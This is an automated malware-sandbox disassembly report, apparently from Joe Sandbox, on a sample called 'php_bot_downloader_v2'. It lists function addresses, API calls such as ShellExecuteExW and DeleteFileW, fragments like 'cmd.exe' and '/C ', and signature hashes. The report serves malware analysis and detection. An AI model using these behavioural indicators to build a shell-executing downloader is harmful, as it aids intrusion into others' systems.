Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: Internet$CloseHandleOpenProcessorVirtual$Concurrency::FileReadRootRoot::
String ID: Downloader
API String ID: 468320751-2223799613
Opcode ID: bf0e7b194c67c6f95d9e5dac6448b552355a720301ad6c01c86269b4cab85926
Instruction ID: fbb108deb139b4c0794a8be0a6be355a06729750435ee60801dff03251e27b7c
Opcode Fuzzy Hash: bf0e7b194c67c6f95d9e5dac6448b552355a720301ad6c01c86269b4cab85926
Instruction Fuzzy Hash: 87313E31618A9682E7609B20F8557AFA770FBC4784F441035EA8E97EA4DF7DD444CB08

Function 00007FF658E21AB0 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 132
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

type_info::_name_internal_method.LIBCMTD ref: 00007FF658E21B0A
Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF658E21CC8
ShellExecuteExW.SHELL32 ref: 00007FF658E21CFD
WaitForSingleObject.KERNEL32 ref: 00007FF658E21D1C
GetExitCodeProcess.KERNEL32 ref: 00007FF658E21D2F
CloseHandle.KERNEL32 ref: 00007FF658E21D3D

Strings

cmd.exe, xrefs: 00007FF658E21CB1
2>&1, xrefs: 00007FF658E21BBD
/C , xrefs: 00007FF658E21C2E
p, xrefs: 00007FF658E21C8C
@, xrefs: 00007FF658E21C94
/C , xrefs: 00007FF658E21B49
> , xrefs: 00007FF658E21B6C

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: CloseCodeConcurrency::details::EmptyExecuteExitHandleObjectProcessQueue::ShellSingleStructuredWaitWorktype_info::_name_internal_method
String ID: 2>&1$ > $/C $/C $@$cmd.exe$p
API String ID: 677652370-1402895998
Opcode ID: ecd0709a960a5d5daa54d7dab036d8559c6efa0a97d991f069f00276a01038b8
Instruction ID: 3def470a8272c08678ea9f1dd8031ae67251f18ebbdf1c42a9e6581ec05cb3f3
Opcode Fuzzy Hash: ecd0709a960a5d5daa54d7dab036d8559c6efa0a97d991f069f00276a01038b8
Instruction Fuzzy Hash: 7B71083260CAD691E621DB24E8503EFA3B1FBC4784F444132D68E97AA9DF7CE544CB44

Function 00007FF658E210B0 Relevance: 19.9, APIs: 13, Instructions: 403
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

shared_ptr.LIBCMTD ref: 00007FF658E210FC
shared_ptr.LIBCMTD ref: 00007FF658E2112F
shared_ptr.LIBCMTD ref: 00007FF658E21162
shared_ptr.LIBCMTD ref: 00007FF658E21195
shared_ptr.LIBCMTD ref: 00007FF658E211C8
shared_ptr.LIBCMTD ref: 00007FF658E211FB
type_info::_name_internal_method.LIBCMTD ref: 00007FF658E2122C
shared_ptr.LIBCMTD ref: 00007FF658E212C2
shared_ptr.LIBCMTD ref: 00007FF658E212F5

Part of subcall function 00007FF658E24EC0: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF658E24EDB

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: shared_ptr$Concurrency::details::EmptyQueue::StructuredWorktype_info::_name_internal_method
String ID:
API String ID: 3540271106-0
Opcode ID: 660f85d507ffcc3d8142a87e9c076f7a78da7657eb6308c16db16e608eb55c71
Instruction ID: 860c26d71111dc3ef18603b0bb613b2841b51e82eedb19f3ffcc62fec878760c
Opcode Fuzzy Hash: 660f85d507ffcc3d8142a87e9c076f7a78da7657eb6308c16db16e608eb55c71
Instruction Fuzzy Hash: C512E32262C5D391EA21E760EC512FEA375FBD4344F840132D64E96EAAEF3CE644CB54

Function 00007FF658E4742C Relevance: 13.8, APIs: 9, Instructions: 273
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF658E47010: _invalid_parameter_noinfo.LIBCMT ref: 00007FF658E47051
Part of subcall function 00007FF658E47010: _invalid_parameter_noinfo.LIBCMT ref: 00007FF658E470D1
Part of subcall function 00007FF658E47010: _invalid_parameter_noinfo.LIBCMT ref: 00007FF658E47125
Part of subcall function 00007FF658E47010: _get_daylight.LIBCMT ref: 00007FF658E4717D

CreateFileW.KERNEL32 ref: 00007FF658E47532
CreateFileW.KERNEL32 ref: 00007FF658E47582
GetLastError.KERNEL32 ref: 00007FF658E475B2
GetFileType.KERNEL32 ref: 00007FF658E475C7
GetLastError.KERNEL32 ref: 00007FF658E475D1
CloseHandle.KERNEL32 ref: 00007FF658E47604
CloseHandle.KERNEL32 ref: 00007FF658E4775F
CreateFileW.KERNEL32 ref: 00007FF658E47794
GetLastError.KERNEL32 ref: 00007FF658E477A3

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type_get_daylight
String ID:
API String ID: 1330151763-0
Opcode ID: b051788a4b9f1cecd37e765c46742b5fa343634d29695278168d0b16224b77b6
Instruction ID: 6a38a86ea7c28ee26538641fc3c69d1df079341e811ede2445468cf6e1faf09c
Opcode Fuzzy Hash: b051788a4b9f1cecd37e765c46742b5fa343634d29695278168d0b16224b77b6
Instruction Fuzzy Hash: 5FC1D237B24A6585EB10CF79C4906AC3771F788B98B140225DE6EA7BE4DF38E452C344

Function 00007FF658E2D974 Relevance: 10.6, APIs: 7, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF658E2D983

Part of subcall function 00007FF658E2D218: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF658E2D23A

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF658E2D998
__scrt_release_startup_lock.LIBCMT ref: 00007FF658E2DA06
__scrt_get_show_window_mode.LIBCMT ref: 00007FF658E2DA59
__scrt_is_managed_app.LIBCMT ref: 00007FF658E2DA7C
__scrt_fastfail.LIBCMT ref: 00007FF658E2DAC5
__scrt_fastfail.LIBCMT ref: 00007FF658E2DAD0

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: __scrt_fastfail$__scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_is_managed_app__scrt_release_startup_lock
String ID:
API String ID: 2735655165-0
Opcode ID: 4838486631ff523eeef2ecb4245ae7cd1383d3c604e78f70fc5114c1b9c52c62
Instruction ID: 09db3cb2f9db44d862be8b6e36f616d9374bbedc722765d2d196c91ce7ee65b9
Opcode Fuzzy Hash: 4838486631ff523eeef2ecb4245ae7cd1383d3c604e78f70fc5114c1b9c52c62
Instruction Fuzzy Hash: 5F313961F0C27B85FA54A77598127B912B1AF81344F4C4434EA4FEBAE7CE7DE8058208

Function 00007FF658E3DDCC Relevance: 7.7, APIs: 5, Instructions: 203
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF658E3DE0D
GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,FFFFFFFE,?,?,00007FF658E3DD8B,?,?,FFFFFFFE,00007FF658E3E7C2), ref: 00007FF658E3DECC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,FFFFFFFE,?,?,00007FF658E3DD8B,?,?,FFFFFFFE,00007FF658E3E7C2), ref: 00007FF658E3DF4C

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 8225f0bb8bc109e91bb0b0dc42c1d2d10c0c76c435bde0e5dc91867a131cd7c0
Instruction ID: fae7ef0155aab66df489c589bc885ae57745d93ecda3cb7c0f6a8d8ac9876d3d
Opcode Fuzzy Hash: 8225f0bb8bc109e91bb0b0dc42c1d2d10c0c76c435bde0e5dc91867a131cd7c0
Instruction Fuzzy Hash: 2B81B022F1862285FB519B7198802BC66B0BB44B94F480135DA4EE7FA5DF3CBC45C718

Function 00007FF658E38AD0 Relevance: 4.5, APIs: 3, Instructions: 19
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF658E38ACF), ref: 00007FF658E38AF9
TerminateProcess.KERNEL32(?,?,?,00007FF658E38ACF), ref: 00007FF658E38B04
ExitProcess.KERNEL32 ref: 00007FF658E38B13

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 0cf961d5a59d52704767c47960e182a4548ebef7e2a4c77c03120b1d081cdc36
Instruction ID: 04d24e899b261131ac6002edb87a3cef2e7e18b5f364ed9b615654c22b3a6653
Opcode Fuzzy Hash: 0cf961d5a59d52704767c47960e182a4548ebef7e2a4c77c03120b1d081cdc36
Instruction Fuzzy Hash: C5E0BF64B0473A82FB546B719C962792276AFC5741F185438C84F97B72CE3EFC498209

Function 00007FF658E21F30 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 104
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

shared_ptr.LIBCMTD ref: 00007FF658E21F72

Part of subcall function 00007FF658E22690: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF658E226FD

Part of subcall function 00007FF658E24EC0: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF658E24EDB

Part of subcall function 00007FF658E239A0: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF658E239B3

Part of subcall function 00007FF658E21AB0: type_info::_name_internal_method.LIBCMTD ref: 00007FF658E21B0A
Part of subcall function 00007FF658E21AB0: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF658E21CC8
Part of subcall function 00007FF658E21AB0: ShellExecuteExW.SHELL32 ref: 00007FF658E21CFD
Part of subcall function 00007FF658E21AB0: WaitForSingleObject.KERNEL32 ref: 00007FF658E21D1C
Part of subcall function 00007FF658E21AB0: GetExitCodeProcess.KERNEL32 ref: 00007FF658E21D2F
Part of subcall function 00007FF658E21AB0: CloseHandle.KERNEL32 ref: 00007FF658E21D3D

Strings

" -C ", xrefs: 00007FF658E21FDC

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: Concurrency::details::EmptyQueue::StructuredWork$CloseCodeExecuteExitHandleObjectProcessShellSingleWaitshared_ptrtype_info::_name_internal_method
String ID: " -C "
API String ID: 4074718890-1510411174
Opcode ID: e3e65493c5c93f8778879d6a5c36af1fba031270d7209929f3d3be2bd247b050
Instruction ID: 5fb335c0b3f034330c32fce12cb065107d1a0c05bdc73160f6beeb79c04caa45
Opcode Fuzzy Hash: e3e65493c5c93f8778879d6a5c36af1fba031270d7209929f3d3be2bd247b050
Instruction Fuzzy Hash: 2E51E732609AC291E660DB65F8512EBB3B0FBC4780F444132E68E97B69EF3CE545CB44

Function 00007FF658E22160 Relevance: 3.0, APIs: 2, Instructions: 50
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF658E239A0: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF658E239B3

Part of subcall function 00007FF658E21EA0: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF658E21ECC
Part of subcall function 00007FF658E21EA0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,00007FF658E213D0), ref: 00007FF658E21ED4

Part of subcall function 00007FF658E2AC70: _Func_class.LIBCONCRTD ref: 00007FF658E2ACA3

Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF658E221CB
DeleteFileW.KERNEL32 ref: 00007FF658E221D3

Part of subcall function 00007FF658E24EF0: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF658E24F0B

Part of subcall function 00007FF658E24EC0: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF658E24EDB

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: Concurrency::details::EmptyQueue::StructuredWork$File$DeleteExistsFunc_classPath
String ID:
API String ID: 1167149137-0
Opcode ID: 79ad5cdaee4071a0cad61ef7f1825c95ea4057d6b39a588d18dca4a3cd80d58a
Instruction ID: fd5bfc2478f5cf55fb02eeb179d2964fd4018dbbb3aac2c253fcbae254bf4a5f
Opcode Fuzzy Hash: 79ad5cdaee4071a0cad61ef7f1825c95ea4057d6b39a588d18dca4a3cd80d58a
Instruction Fuzzy Hash: 5321EE32A1C69685E660EB21E85136BA371FBC5744F440131E68EA7E9ADF3CE504CB04

Function 00007FF658E21EA0 Relevance: 3.0, APIs: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF658E2AC70: _Func_class.LIBCONCRTD ref: 00007FF658E2ACA3

Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF658E21ECC
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,00007FF658E213D0), ref: 00007FF658E21ED4

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: Concurrency::details::EmptyExistsFileFunc_classPathQueue::StructuredWork
String ID:
API String ID: 751013954-0
Opcode ID: 7fdefa42ffe60eb363dab5a25b184e42fb5ef18f0cb8c92bda0a5a5edec4f82c
Instruction ID: fda232e97a5567a24842bab169328c61db7fe30d8c2c3529a49e02da5681d6a7
Opcode Fuzzy Hash: 7fdefa42ffe60eb363dab5a25b184e42fb5ef18f0cb8c92bda0a5a5edec4f82c
Instruction Fuzzy Hash: C6018412A0C69680EA20E731EC5117F7B70EBC5784F480131E6CE96E96CE3CE2448F04

Function 00007FF658E349A0 Relevance: 1.6, APIs: 1, Instructions: 133
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF658E349E2

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 4f883b95f7da27380a1c8dc92d1d8b1f3044823d872828230510567fc2dfe5a8
Instruction ID: 7aacfd3b9fd63494d1223bb072fa79b4838f2fcececf91f931f908acffbe1a52
Opcode Fuzzy Hash: 4f883b95f7da27380a1c8dc92d1d8b1f3044823d872828230510567fc2dfe5a8
Instruction Fuzzy Hash: 4541B161B0826646EA689936590023D72A1AF54FE8F1C4234DE6DE7FE9DE3CFC41870C

Function 00007FF658E236B0 Relevance: 1.6, APIs: 1, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00007FF658E236F4

Part of subcall function 00007FF658E23680: DNameNode::DNameNode.LIBCMTD ref: 00007FF658E2368E

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: NameProcessorVirtual$Concurrency::NodeNode::RootRoot::
String ID:
API String ID: 708125375-0
Opcode ID: c23f3cb0eba1474faa08fb5fd51b8bc61fb7488c62b3203690764f73a4b9d535
Instruction ID: cce1c3c226c7f9889530a3ee6684d611a038ead9856b20e76ac746d638b1ad92
Opcode Fuzzy Hash: c23f3cb0eba1474faa08fb5fd51b8bc61fb7488c62b3203690764f73a4b9d535
Instruction Fuzzy Hash: 6931EB72718B9582DB10DB29E49172EB7B0FBC6B84F504425EB8D93B29DF3DD8108B04

Function 00007FF658E3DCE0 Relevance: 1.6, APIs: 1, Instructions: 67
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae5b57370f23d51800a9b1807dfedf1ba41dfc8965c0f84bd68db13f37ff051e
Instruction ID: c114e200fc80bb0b4b92a04ee7a15641e6be6ff3a02c764641dc768f63b3f157
Opcode Fuzzy Hash: ae5b57370f23d51800a9b1807dfedf1ba41dfc8965c0f84bd68db13f37ff051e
Instruction Fuzzy Hash: C721B532F0826255E7016F36A84137C3670AF40BA1F594634E91DA7BE2CE7CFC418708

Function 00007FF658E46CB8 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF658E46CDB

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 242aa104a256ba5b2150a3216f3597a632c2a9ef4fcd88e67720f97e344cd703
Instruction ID: 9172be1a9112540e80c4531ef99f4906e08ff721d3e0a5551bf29dc72ad76baf
Opcode Fuzzy Hash: 242aa104a256ba5b2150a3216f3597a632c2a9ef4fcd88e67720f97e344cd703
Instruction Fuzzy Hash: F521953260865187EB619F29E44037976B0EBC5B94F284235E69DD7AF9DF3DD8048B04

Function 00007FF658E38A14 Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF658E38A33

Part of subcall function 00007FF658E38B1C: GetModuleHandleExW.KERNEL32 ref: 00007FF658E38B38
Part of subcall function 00007FF658E38B1C: GetProcAddress.KERNEL32 ref: 00007FF658E38B4E
Part of subcall function 00007FF658E38B1C: FreeLibrary.KERNEL32 ref: 00007FF658E38B6B

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: a81a60bed567f56c1a5b8481f21f90bb2bad9351e94e3c75933ccff56822174f
Instruction ID: da218c11df0d42727b4280be3a08b887603062bce9d67eb20f3058cd15a20df3
Opcode Fuzzy Hash: a81a60bed567f56c1a5b8481f21f90bb2bad9351e94e3c75933ccff56822174f
Instruction Fuzzy Hash: 03218371E04B2189EB508F74C4412EC37F0EB44708F484535EA4DA2EA5EF39ED86CB84

Function 00007FF658E35D64 Relevance: 1.6, APIs: 1, Instructions: 51COMMON

